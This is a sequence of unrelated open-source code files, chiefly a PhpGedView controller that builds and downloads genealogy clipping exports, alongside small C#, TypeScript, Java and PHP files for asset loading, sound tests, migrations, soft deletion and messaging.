/// <param name="game"></param>
/// <param name="stream"></param>
/// <param name="requestedType"></param>
/// <param name="assetPath"></param>
/// <returns></returns>
public override object Load ( Game game, Stream stream, Type requestedType, string assetPath )
{
var bytes = stream.ReadAllBytes();
if (assetPath.ToLowerInvariant().Contains("|default")) {
return Encoding.Default.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
if (assetPath.ToLowerInvariant().Contains("|utf8")) {
return Encoding.UTF8.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
if (assetPath.ToLowerInvariant().Contains("|utf7")) {
return Encoding.UTF7.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
if (assetPath.ToLowerInvariant().Contains("|utf32")) {
return Encoding.UTF32.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
if (assetPath.ToLowerInvariant().Contains("|ascii")) {
return Encoding.ASCII.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
return Encoding.Default.GetString( bytes ).Split(new[]{"\r\n","\n"}, StringSplitOptions.None );
}
}
}
| mit |
anprogrammer/OpenRoads | OpenRoadsLib/Src/TestRuns/TestSounds.ts | 701 | module TestRuns {
export function TestSounds(): void {
var manager = new Managers.StreamManager(new Stores.AJAXFileProvider()), shaderManager = new Managers.ShaderManager(manager);
var managers = new Managers.ManagerSet(manager, shaderManager);
managers.Sounds = new Managers.SoundManager(managers);
manager.loadMultiple(["Data/SFX.SND"]).done(() => {
var snd1 = managers.Sounds.getMultiEffect('SFX.SND');
snd1[1].play();
//0 - Mild bump but didn't explode?
//1 - Bounce
//2 - Explosion?
//3 - Out of oxygen (or fuel)
//4 - Re-fueled
//5 - Nothin
});
}
} | mit |
comm1x/amigro | sample/src/main/java/amigro/tk/sample/MainActivity.java | 1175 | package amigro.tk.sample;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import amigro.tk.amigro.Amigro;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
applyMigrations();
}
private void applyMigrations() {
Amigro.getInstance()
.addMigration(1, new Runnable() {
@Override
public void run() {
// CacheManager.getInstance().drop("users");
}
})
.addMigration(2, new Runnable() {
@Override
public void run() {
// CacheManager.getInstance().drop("last_shop");
}
})
.addMigration(3, new Runnable() {
@Override
public void run() {
// FileManager.removeOldImages();
}
})
.apply(this);
}
}
| mit |
fweber1/Annies-Ancestors | PhpGedView/includes/controllers/clippings_ctrl.php | 27316 | <?php
/**
* Controller for the Clippings Page
*
* phpGedView: Genealogy Viewer
* Copyright (C) 2002 to 2009 PGV Development Team. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* @package PhpGedView
* @subpackage Charts
* @version $Id: clippings_ctrl.php 6885 2010-01-31 10:32:02Z fisharebest $
*/
if (!defined('PGV_PHPGEDVIEW')) {
header('HTTP/1.0 403 Forbidden');
exit;
}
define('PGV_CLIPPINGS_CTRL', '');
require_once PGV_ROOT.'includes/classes/class_grampsexport.php';
require_once PGV_ROOT.'includes/classes/class_person.php';
require_once PGV_ROOT.'includes/functions/functions.php';
require_once PGV_ROOT.'includes/controllers/basecontrol.php';
require_once PGV_ROOT.'includes/pclzip.lib.php';
function same_group($a, $b) {
if ($a['type'] == $b['type'])
return strnatcasecmp($a['id'], $b['id']);
if ($a['type'] == 'source')
return 1;
if ($a['type'] == 'indi')
return -1;
if ($b['type'] == 'source')
return -1;
if ($b['type'] == 'indi')
return 1;
return 0;
}
function id_in_cart($id) {
global $cart, $GEDCOM;
$ct = count($cart);
for ($i = 0; $i < $ct; $i++) {
$temp = $cart[$i];
if ($temp['id'] == $id && $temp['gedcom'] == $GEDCOM) {
return true;
}
}
return false;
}
/**
* Main controller class for the Clippings page.
*/
class ClippingsControllerRoot extends BaseController {
var $download_data;
var $media_list = array();
var $addCount = 0;
var $privCount = 0;
var $type="";
var $id="";
var $IncludeMedia;
var $conv_path;
var $conv_slashes;
var $privatize_export;
var $Zip;
var $filetype;
var $level1; // number of levels of ancestors
var $level2;
var $level3; // number of levels of descendents
/**
* @param string $thing the id of the person
*/
function ClippingsControllerRoot() {
parent :: BaseController();
}
//----------------beginning of function definitions for ClippingsControllerRoot
function init() {
global $PRIV_HIDE, $PRIV_PUBLIC, $ENABLE_CLIPPINGS_CART, $pgv_lang, $SERVER_URL, $CONTACT_EMAIL, $HOME_SITE_TEXT, $HOME_SITE_URL, $MEDIA_DIRECTORY;
global $GEDCOM, $CHARACTER_SET, $cart;
if (!isset ($ENABLE_CLIPPINGS_CART))
$ENABLE_CLIPPINGS_CART = $PRIV_HIDE;
if ($ENABLE_CLIPPINGS_CART === true)
$ENABLE_CLIPPING_CART = $PRIV_PUBLIC;
if ($ENABLE_CLIPPINGS_CART < PGV_USER_ACCESS_LEVEL) {
header("Location: index.php");
exit;
}
if (!isset($_SESSION['exportConvPath'])) $_SESSION['exportConvPath'] = $MEDIA_DIRECTORY;
if (!isset($_SESSION['exportConvSlashes'])) $_SESSION['exportConvSlashes'] = 'forward';
$this->action = safe_GET("action");
$this->id = safe_GET('id');
$remove = safe_GET('remove',"","no");
$convert = safe_GET('convert',"","no");
$this->Zip = safe_GET('Zip');
$this->IncludeMedia = safe_GET('IncludeMedia');
$this->conv_path = safe_GET('conv_path', PGV_REGEX_NOSCRIPT, $_SESSION['exportConvPath']);
$this->conv_slashes = safe_GET('conv_slashes', array('forward', 'backward'), $_SESSION['exportConvSlashes']);
$this->privatize_export = safe_GET('privatize_export', array('none', 'visitor', 'user', 'gedadmin', 'admin'));
$this->filetype = safe_GET('filetype');
$this->level1 = safe_GET('level1');
$this->level2 = safe_GET('level2');
$this->level3 = safe_GET('level3');
if (empty($this->filetype)) $this->filetype = "gedcom";
$others = safe_GET('others');
$item = safe_GET('item');
if (!isset($cart)) $cart = $_SESSION['cart'];
$this->type = safe_GET('type');
$this->conv_path = stripLRMRLM($this->conv_path);
$_SESSION['exportConvPath'] = $this->conv_path; // remember this for the next Download
$_SESSION['exportConvSlashes'] = $this->conv_slashes;
if ($this->action == 'add') {
if (empty($this->type) && !empty($this->id)) {
$this->type="";
$obj = GedcomRecord::getInstance($this->id);
if (is_null($obj)) {
$this->id="";
$this->action="";
}
else $this->type = strtolower($obj->getType());
}
else if (empty($this->id)) $this->action="";
if (!empty($this->id) && $this->type != 'fam' && $this->type != 'indi' && $this->type != 'sour')
$this->action = 'add1';
}
if ($this->action == 'add1') {
$clipping = array ();
$clipping['type'] = $this->type;
$clipping['id'] = $this->id;
$clipping['gedcom'] = $GEDCOM;
$ret = $this->add_clipping($clipping);
if ($ret) {
if ($this->type == 'sour') {
if ($others == 'linked') {
foreach (fetch_linked_indi($this->id, 'SOUR', PGV_GED_ID) as $indi) {
if ($indi->canDisplayName()) {
$this->add_clipping(array('type'=>'indi', 'id'=>$indi->getXref()));
}
}
foreach (fetch_linked_fam($this->id, 'SOUR', PGV_GED_ID) as $fam) {
if ($fam->canDisplayName()) {
$this->add_clipping(array('type'=>'fam', 'id'=>$fam->getXref()));
}
}
}
}
if ($this->type == 'fam') {
if ($others == 'parents') {
$parents = find_parents($this->id);
if (!empty ($parents["HUSB"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["HUSB"];
$ret = $this->add_clipping($clipping);
}
if (!empty ($parents["WIFE"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["WIFE"];
$ret = $this->add_clipping($clipping);
}
} else
if ($others == "members") {
$this->add_family_members($this->id);
} else
if ($others == "descendants") {
$this->add_family_descendancy($this->id);
}
} else
if ($this->type == 'indi') {
if ($others == 'parents') {
$famids = find_family_ids($this->id);
foreach ($famids as $indexval => $famid) {
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $famid;
$ret = $this->add_clipping($clipping);
if ($ret) {
$this->add_family_members($famid);
}
}
} else
if ($others == 'ancestors') {
$this->add_ancestors_to_cart($this->id, $this->level1);
} else
if ($others == 'ancestorsfamilies') {
$this->add_ancestors_to_cart_families($this->id, $this->level2);
} else
if ($others == 'members') {
$famids = find_sfamily_ids($this->id);
foreach ($famids as $indexval => $famid) {
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $famid;
$ret = $this->add_clipping($clipping);
if ($ret)
$this->add_family_members($famid);
}
} else
if ($others == 'descendants') {
$famids = find_sfamily_ids($this->id);
foreach ($famids as $indexval => $famid) {
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $famid;
$ret = $this->add_clipping($clipping);
if ($ret)
$this->add_family_descendancy($famid, $this->level3);
}
}
}
}
} else
if ($this->action == 'remove') {
$ct = count($cart);
for ($i = $item +1; $i < $ct; $i++) {
$cart[$i -1] = $cart[$i];
}
unset ($cart[$ct -1]);
} else
if ($this->action == 'empty') {
$cart = array ();
$_SESSION["cart"] = $cart;
} else
if ($this->action == 'download') {
usort($cart, "same_group");
if ($this->filetype == "gedcom") {
$media = array ();
$mediacount = 0;
$ct = count($cart);
$filetext = "0 HEAD\n1 SOUR ".PGV_PHPGEDVIEW."\n2 NAME ".PGV_PHPGEDVIEW."\n2 VERS ".PGV_VERSION_TEXT."\n1 DEST DISKETTE\n1 DATE " . date("j M Y") . "\n2 TIME " . date("H:i:s") . "\n";
$filetext .= "1 GEDC\n2 VERS 5.5\n2 FORM LINEAGE-LINKED\n1 CHAR $CHARACTER_SET\n";
$head = find_gedcom_record("HEAD", PGV_GED_ID);
$placeform = trim(get_sub_record(1, "1 PLAC", $head));
if (!empty ($placeform))
$filetext .= $placeform . "\n";
else
$filetext .= "1 PLAC\n2 FORM " . "City, County, State/Province, Country" . "\n";
if ($convert == "yes") {
$filetext = str_replace("UTF-8", "ANSI", $filetext);
$filetext = utf8_decode($filetext);
}
$tempUserID = '#ExPoRt#';
if ($this->privatize_export!='none') {
// Create a temporary userid
$export_user_id = createTempUser($tempUserID, $this->privatize_export, $GEDCOM); // Create a temporary userid
// Temporarily become this user
$_SESSION["org_user"]=$_SESSION["pgv_user"];
$_SESSION["pgv_user"]=$tempUserID;
}
for ($i = 0; $i < $ct; $i++) {
$clipping = $cart[$i];
if ($clipping['gedcom'] == $GEDCOM) {
$record = find_gedcom_record($clipping['id'], PGV_GED_ID);
$savedRecord = $record; // Save this for the "does this file exist" check
if ($clipping['type']=='obje') $record = convert_media_path($record, $this->conv_path, $this->conv_slashes);
$record = privatize_gedcom($record);
$record = remove_custom_tags($record, $remove);
if ($convert == "yes")
$record = utf8_decode($record);
switch ($clipping['type']) {
case 'indi':
$ft = preg_match_all("/1 FAMC @(.*)@/", $record, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
if (!id_in_cart($match[$k][1])) {
$record = preg_replace("/1 FAMC @" . $match[$k][1] . "@.*/", "", $record);
}
}
$ft = preg_match_all("/1 FAMS @(.*)@/", $record, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
if (!id_in_cart($match[$k][1])) {
$record = preg_replace("/1 FAMS @" . $match[$k][1] . "@.*/", "", $record);
}
}
$ft = preg_match_all("/\d FILE (.*)/", $savedRecord, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
$filename = $MEDIA_DIRECTORY.extract_filename(trim($match[$k][1]));
if (file_exists($filename)) {
$media[$mediacount] = array (PCLZIP_ATT_FILE_NAME => $filename);
$mediacount++;
}
// $record = preg_replace("|(\d FILE )" . addslashes($match[$k][1]) . "|", "$1" . $filename, $record);
}
$filetext .= trim($record) . "\n";
$filetext .= "1 SOUR @SPGV1@\n";
$filetext .= "2 PAGE " . PGV_SERVER_NAME.PGV_SCRIPT_PATH . "individual.php?pid=" . $clipping['id'] . "\n";
$filetext .= "2 DATA\n";
$filetext .= "3 TEXT " . $pgv_lang["indi_downloaded_from"] . "\n";
$filetext .= "4 CONT " . PGV_SERVER_NAME.PGV_SCRIPT_PATH . "individual.php?pid=" . $clipping['id'] . "\n";
break;
case 'fam':
$ft = preg_match_all("/1 CHIL @(.*)@/", $record, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
if (!id_in_cart($match[$k][1])) {
/* if the child is not in the list delete the record of it */
$record = preg_replace("/1 CHIL @" . $match[$k][1] . "@.*/", "", $record);
}
}
$ft = preg_match_all("/1 HUSB @(.*)@/", $record, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
if (!id_in_cart($match[$k][1])) {
/* if the husband is not in the list delete the record of him */
$record = preg_replace("/1 HUSB @" . $match[$k][1] . "@.*/", "", $record);
}
}
$ft = preg_match_all("/1 WIFE @(.*)@/", $record, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
if (!id_in_cart($match[$k][1])) {
/* if the wife is not in the list delete the record of her */
$record = preg_replace("/1 WIFE @" . $match[$k][1] . "@.*/", "", $record);
}
}
$ft = preg_match_all("/\d FILE (.*)/", $savedRecord, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
$filename = $MEDIA_DIRECTORY.extract_filename(trim($match[$k][1]));
if (file_exists($filename)) {
$media[$mediacount] = array (PCLZIP_ATT_FILE_NAME => $filename);
$mediacount++;
}
// $record = preg_replace("|(\d FILE )" . addslashes($match[$k][1]) . "|", "$1" . $filename, $record);
}
$filetext .= trim($record) . "\n";
$filetext .= "1 SOUR @SPGV1@\n";
$filetext .= "2 PAGE " . PGV_SERVER_NAME.PGV_SCRIPT_PATH . "family.php?famid=" . $clipping['id'] . "\n";
$filetext .= "2 DATA\n";
$filetext .= "3 TEXT " . $pgv_lang["family_downloaded_from"] . "\n";
$filetext .= "4 CONT " . PGV_SERVER_NAME.PGV_SCRIPT_PATH . "family.php?famid=" . $clipping['id'] . "\n";
break;
case 'source':
$ft = preg_match_all("/\d FILE (.*)/", $savedRecord, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
$filename = $MEDIA_DIRECTORY.extract_filename(trim($match[$k][1]));
if (file_exists($filename)) {
$media[$mediacount] = array (PCLZIP_ATT_FILE_NAME => $filename);
$mediacount++;
}
// $record = preg_replace("|(\d FILE )" . addslashes($match[$k][1]) . "|", "$1" . $filename, $record);
}
$filetext .= trim($record) . "\n";
$filetext .= "1 NOTE " . $pgv_lang["source_downloaded_from"] . "\n";
$filetext .= "2 CONT " . PGV_SERVER_NAME.PGV_SCRIPT_PATH . "source.php?sid=" . $clipping['id'] . "\n";
break;
default:
$ft = preg_match_all("/\d FILE (.*)/", $savedRecord, $match, PREG_SET_ORDER);
for ($k = 0; $k < $ft; $k++) {
$filename = $MEDIA_DIRECTORY.extract_filename(trim($match[$k][1]));
if (file_exists($filename)) {
$media[$mediacount] = array (PCLZIP_ATT_FILE_NAME => $filename);
$mediacount++;
}
// $record = preg_replace("|(\d FILE )" . addslashes($match[$k][1]) . "|", "$1" . $filename, $record);
}
$filetext .= trim($record) . "\n";
break;
}
}
}
if ($this->privatize_export!='none') {
$_SESSION["pgv_user"]=$_SESSION["org_user"];
delete_user($export_user_id);
AddToLog("deleted dummy user -> {$tempUserID} <-");
}
if($this->IncludeMedia == "yes")
{
$this->media_list = $media;
}
$filetext .= "0 @SPGV1@ SOUR\n";
if ($user_id=get_user_id($CONTACT_EMAIL)) {
$filetext .= "1 AUTH " . getUserFullName($user_id) . "\n";
}
$filetext .= "1 TITL " . $HOME_SITE_TEXT . "\n";
$filetext .= "1 ABBR " . $HOME_SITE_TEXT . "\n";
$filetext .= "1 PUBL " . $HOME_SITE_URL . "\n";
$filetext .= "0 TRLR\n";
//-- make sure the preferred line endings are used
$filetext = preg_replace("/[\r\n]+/", PGV_EOL, $filetext);
$this->download_data = $filetext;
$this->download_clipping();
} else
if ($this->filetype == "gramps") {
// Sort the clippings cart because the export works better when the cart is sorted
usort($cart, "same_group");
require_once PGV_ROOT.'includes/classes/class_geclippings.php';
$gramps_Exp = new GEClippings();
$gramps_Exp->begin_xml();
$ct = count($cart);
usort($cart, "same_group");
for ($i = 0; $i < $ct; $i++) {
$clipping = $cart[$i];
switch ($clipping['type']) {
case 'indi':
$rec = find_person_record($clipping['id'], PGV_GED_ID);
$rec = remove_custom_tags($rec, $remove);
if ($this->privatize_export!='none') $rec = privatize_gedcom($rec);
$gramps_Exp->create_person($rec, $clipping['id']);
break;
case 'fam':
$rec = find_family_record($clipping['id'], PGV_GED_ID);
$rec = remove_custom_tags($rec, $remove);
if ($this->privatize_export!='none') $rec = privatize_gedcom($rec);
$gramps_Exp->create_family($rec, $clipping['id']);
break;
case 'source':
$rec = find_source_record($clipping['id'], PGV_GED_ID);
$rec = remove_custom_tags($rec, $remove);
if ($this->privatize_export!='none') $rec = privatize_gedcom($rec);
$gramps_Exp->create_source($rec, $clipping['id']);
break;
}
}
$this->download_data = $gramps_Exp->dom->saveXML();
if ($convert) $this->download_data = utf8_decode($this->download_data);
$this->media_list = $gramps_Exp->get_all_media();
$this->download_clipping();
}
}
}
/**
* Loads everything in the clippings cart into a zip file.
*/
function zip_cart()
{
global $INDEX_DIRECTORY,$pgv_lang;
switch ($this->filetype) {
case 'gedcom':
$tempFileName = 'clipping'.rand().'.ged';
break;
case 'gramps':
$tempFileName = 'clipping'.rand().'.gramps';
break;
}
$fp = fopen($INDEX_DIRECTORY.$tempFileName, "wb");
if($fp)
{
flock($fp,LOCK_EX);
fwrite($fp,$this->download_data);
flock($fp,LOCK_UN);
fclose($fp);
$zipName = "clippings".rand(0, 1500).".zip";
$fname = $INDEX_DIRECTORY.$zipName;
$comment = "Created by ".PGV_PHPGEDVIEW." ".PGV_VERSION_TEXT." on ".date("d M Y").".";
$archive = new PclZip($fname);
// add the ged/gramps file to the root of the zip file (strip off the index_directory)
$this->media_list[]= array (PCLZIP_ATT_FILE_NAME => $INDEX_DIRECTORY.$tempFileName, PCLZIP_ATT_FILE_NEW_FULL_NAME => $tempFileName);
$v_list = $archive->create($this->media_list, PCLZIP_OPT_COMMENT, $comment);
if ($v_list == 0) print "Error : ".$archive->errorInfo(true)."</td></tr>";
else {
$openedFile = fopen($fname,"rb");
$this->download_data = fread($openedFile,filesize($fname));
fclose($openedFile);
unlink($fname);
}
unlink($INDEX_DIRECTORY.$tempFileName);
}
else
{
print $pgv_lang["um_file_create_fail2"]." ".$INDEX_DIRECTORY."$tempFileName ".$pgv_lang["um_file_create_fail3"]."<br /><br />";
}
}
/**
* Brings up the download dialog box and allows the user to download the file
* based on the options he or she selected
*/
function download_clipping(){
if ($this->IncludeMedia == "yes" || $this->Zip == "yes")
{
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="clipping.zip"');
$this->zip_cart();
}
else
{
switch ($this->filetype) {
case 'gedcom':
{
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="clipping.ged"');
}
break;
case 'gramps':
{
header('Content-Type: text/xml');
header('Content-Disposition: attachment; filename="clipping.gramps"');
}
break;
}
}
header("Content-length: ".strlen($this->download_data));
print_r ($this->download_data);
exit;
}
/**
* Inserts a clipping into the clipping cart
*
* @param
*/
function add_clipping($clipping) {
global $cart, $pgv_lang, $SHOW_SOURCES, $MULTI_MEDIA, $GEDCOM;
if (($clipping['id'] == false) || ($clipping['id'] == ""))
return false;
if (!id_in_cart($clipping['id'])) {
$clipping['gedcom'] = $GEDCOM;
if ($clipping['type'] == "indi") {
if (displayDetailsById($clipping['id']) || showLivingNameById($clipping['id'])) {
$cart[] = $clipping;
$this->addCount++;
} else {
$this->privCount++;
return false;
}
} else
if ($clipping['type'] == "fam") {
$parents = find_parents($clipping['id']);
if ((displayDetailsById($parents['HUSB']) || showLivingNameById($parents['HUSB'])) && (displayDetailsById($parents['WIFE']) || showLivingNameById($parents['WIFE']))) {
$cart[] = $clipping;
$this->addCount++;
} else {
$this->privCount++;
return false;
}
} else {
if (displayDetailsById($clipping['id'], strtoupper($clipping['type'])))
{
$cart[] = $clipping;
$this->addCount++;
}
else {
$this->privCount++;
return false;
}
}
//-- look in the gedcom record for any linked SOUR, NOTE, or OBJE and also add them to the
//- clippings cart
$gedrec = find_gedcom_record($clipping['id'], PGV_GED_ID);
if ($SHOW_SOURCES >= PGV_USER_ACCESS_LEVEL) {
$st = preg_match_all("/\d SOUR @(.*)@/", $gedrec, $match, PREG_SET_ORDER);
for ($i = 0; $i < $st; $i++) {
// add SOUR
$clipping = array ();
$clipping['type'] = "source";
$clipping['id'] = $match[$i][1];
$clipping['gedcom'] = $GEDCOM;
$this->add_clipping($clipping);
// add REPO
$sourec = find_gedcom_record($match[$i][1], PGV_GED_ID);
$rt = preg_match_all("/\d REPO @(.*)@/", $sourec, $rmatch, PREG_SET_ORDER);
for ($j = 0; $j < $rt; $j++) {
$clipping = array ();
$clipping['type'] = "repository";
$clipping['id'] = $rmatch[$j][1];
$clipping['gedcom'] = $GEDCOM;
$this->add_clipping($clipping);
}
}
}
$nt = preg_match_all("/\d NOTE @(.*)@/", $gedrec, $match, PREG_SET_ORDER);
for ($i = 0; $i < $nt; $i++) {
$clipping = array ();
$clipping['type'] = "note";
$clipping['id'] = $match[$i][1];
$clipping['gedcom'] = $GEDCOM;
$this->add_clipping($clipping);
}
if ($MULTI_MEDIA) {
$nt = preg_match_all("/\d OBJE @(.*)@/", $gedrec, $match, PREG_SET_ORDER);
for ($i = 0; $i < $nt; $i++) {
$clipping = array ();
$clipping['type'] = "obje";
$clipping['id'] = $match[$i][1];
$clipping['gedcom'] = $GEDCOM;
$this->add_clipping($clipping);
}
}
}
return true;
}
// --------------------------------- Recursive function to traverse the tree
function add_family_descendancy($famid, $level="") {
global $cart;
if (!$famid)
return;
$famrec = find_family_record($famid, PGV_GED_ID);
if ($famrec) {
$parents = find_parents_in_record($famrec);
if (!empty ($parents["HUSB"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["HUSB"];
$this->add_clipping($clipping);
}
if (!empty ($parents["WIFE"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["WIFE"];
$this->add_clipping($clipping);
}
$num = preg_match_all("/1\s*CHIL\s*@(.*)@/", $famrec, $smatch, PREG_SET_ORDER);
for ($i = 0; $i < $num; $i++) {
$cfamids = find_sfamily_ids($smatch[$i][1]);
if (count($cfamids) > 0) {
foreach ($cfamids as $indexval => $cfamid) {
if (!id_in_cart($cfamid)) {
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $cfamid;
$ret = $this->add_clipping($clipping); // add the childs family
if ($level=="" || $level>0) {
if ($level!="") $level--;
$this->add_family_descendancy($cfamid, $level); // recurse on the childs family
}
}
}
} else {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $smatch[$i][1];
$this->add_clipping($clipping);
}
}
}
}
function add_family_members($famid) {
global $cart;
$parents = find_parents($famid);
if (!empty ($parents["HUSB"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["HUSB"];
$this->add_clipping($clipping);
}
if (!empty ($parents["WIFE"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["WIFE"];
$this->add_clipping($clipping);
}
$famrec = find_family_record($famid, PGV_GED_ID);
if ($famrec) {
$num = preg_match_all("/1\s*CHIL\s*@(.*)@/", $famrec, $smatch, PREG_SET_ORDER);
for ($i = 0; $i < $num; $i++) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $smatch[$i][1];
$this->add_clipping($clipping);
}
}
}
//-- recursively adds direct-line ancestors to cart
function add_ancestors_to_cart($pid, $level="") {
global $cart;
$famids = find_family_ids($pid);
if (count($famids) > 0) {
foreach ($famids as $indexval => $famid) {
if ($level=="" || $level > 0) {
if ($level!="") $level = $level -1;
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $famid;
$ret = $this->add_clipping($clipping);
if ($ret) {
$parents = find_parents($famid);
if (!empty ($parents["HUSB"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["HUSB"];
$this->add_clipping($clipping);
$this->add_ancestors_to_cart($parents["HUSB"], $level);
}
if (!empty ($parents["WIFE"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["WIFE"];
$this->add_clipping($clipping);
$this->add_ancestors_to_cart($parents["WIFE"], $level);
}
}
}
}
}
}
//-- recursively adds direct-line ancestors and their families to the cart
function add_ancestors_to_cart_families($pid, $level="") {
global $cart;
$famids = find_family_ids($pid);
if (count($famids) > 0) {
foreach ($famids as $indexval => $famid) {
if ($level=="" || $level > 0) {
if ($level!="")$level = $level -1;
$clipping = array ();
$clipping['type'] = "fam";
$clipping['id'] = $famid;
$ret = $this->add_clipping($clipping);
if ($ret) {
$parents = find_parents($famid);
if (!empty ($parents["HUSB"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["HUSB"];
$ret = $this->add_clipping($clipping);
$this->add_ancestors_to_cart_families($parents["HUSB"], $level);
}
if (!empty ($parents["WIFE"])) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $parents["WIFE"];
$ret = $this->add_clipping($clipping);
$this->add_ancestors_to_cart_families($parents["WIFE"], $level);
}
$famrec = find_family_record($famid, PGV_GED_ID);
if ($famrec) {
$num = preg_match_all("/1\s*CHIL\s*@(.*)@/", $famrec, $smatch, PREG_SET_ORDER);
for ($i = 0; $i < $num; $i++) {
$clipping = array ();
$clipping['type'] = "indi";
$clipping['id'] = $smatch[$i][1];
$this->add_clipping($clipping);
}
}
}
}
}
}
}
}
// -- end of class
//-- load a user extended class if one exists
if (file_exists(PGV_ROOT.'includes/controllers/clippings_ctrl_user.php')) {
require_once PGV_ROOT.'includes/controllers/clippings_ctrl_user.php';
} else {
class ClippingsController extends ClippingsControllerRoot {
}
}
?>
| mit |
NickStrupat/EntityFramework.SoftDeletable | EntityFramework.VersionedSoftDeletable/VersionedUserSoftDeletableExtensions.cs | 2041 | using System;
using EntityFramework.VersionedProperties;
namespace EntityFramework.VersionedSoftDeletable {
public static class VersionedUserSoftDeletableExtensions {
public static void InitializeVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted>(this IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted> versionedUserSoftDeletable) {
versionedUserSoftDeletable.InitializeVersionedProperties();
}
public static Boolean IsDeleted<TUserId, TVersionedUserDeleted>(this IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted> versionedUserSoftDeletable) {
if (versionedUserSoftDeletable == null)
throw new ArgumentNullException(nameof(versionedUserSoftDeletable));
return LateBoundMethods<IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted>, TUserId, TVersionedUserDeleted>.IsDeleted(versionedUserSoftDeletable);
}
public static void SoftDelete<TUserId, TVersionedUserDeleted>(this IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted> versionedUserSoftDeletable) {
if (versionedUserSoftDeletable == null)
throw new ArgumentNullException(nameof(versionedUserSoftDeletable));
if (!versionedUserSoftDeletable.IsDeleted())
versionedUserSoftDeletable.SetDeleted(markAsDeleted: true);
}
public static void Restore<TUserId, TVersionedUserDeleted>(this IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted> versionedUserSoftDeletable) {
if (versionedUserSoftDeletable == null)
throw new ArgumentNullException(nameof(versionedUserSoftDeletable));
if (versionedUserSoftDeletable.IsDeleted())
versionedUserSoftDeletable.SetDeleted(markAsDeleted: false);
}
private static void SetDeleted<TUserId, TVersionedUserDeleted>(this IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted> versionedUserSoftDeletable, Boolean markAsDeleted) {
LateBoundMethods<IVersionedUserSoftDeletable<TUserId, TVersionedUserDeleted>, TUserId, TVersionedUserDeleted>.SetDeleted(versionedUserSoftDeletable, markAsDeleted);
}
}
}
| mit |
mitallast/php-rpm | test/JsonParserTest.php | 1040 | <?php
namespace Rpm2;
use Rpm2\Config\JsonParser;
class JsonParserTest extends \PHPUnit_Framework_TestCase
{
public function testParse(){
\Logger::configure(array(
'layouts' => array(
'pattern' => array(
'class' => 'LoggerLayoutPattern',
'pattern' => '{date:Y/m/d} [{level}] {location:class::function (line)}: {message} {ex}',
),
),
'appenders' => array(
'stream' => array(
'class' => 'LoggerAppenderStream',
'stream' => 'php://stdout',
'minLevel' => \Logger::DEBUG,
'layout' => 'pattern',
),
),
'root' => array(
'appenders' => array('stream'),
)
));
$parser = new JsonParser();
$configuration = $parser->parseFile(__DIR__."/sample.rpm.json");
$builder = new RpmBuilder($configuration);
$builder->run();
}
} | mit |
Carbon/Data | Carbon.Messaging/Messages/Message.cs | 384 | using System;
namespace Carbon.Messaging
{
public class Message<T> : IMessage<T>
{
public Message(T body)
{
if (body == null) throw new ArgumentNullException(nameof(body));
Body = body;
}
public T Body { get; }
public Message<T> Create(T body) => new Message<T>(body);
}
} | mit |
appleseedez/im2-master | src/test/java/com/weheros/account/front/AccountControllerTest.java | 2233 | /**
* Copyright HZCW (He Zhong Chuang Wei) Technologies Co.,Ltd. 2013-2015. All rights reserved.
*/
package com.weheros.account.front;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
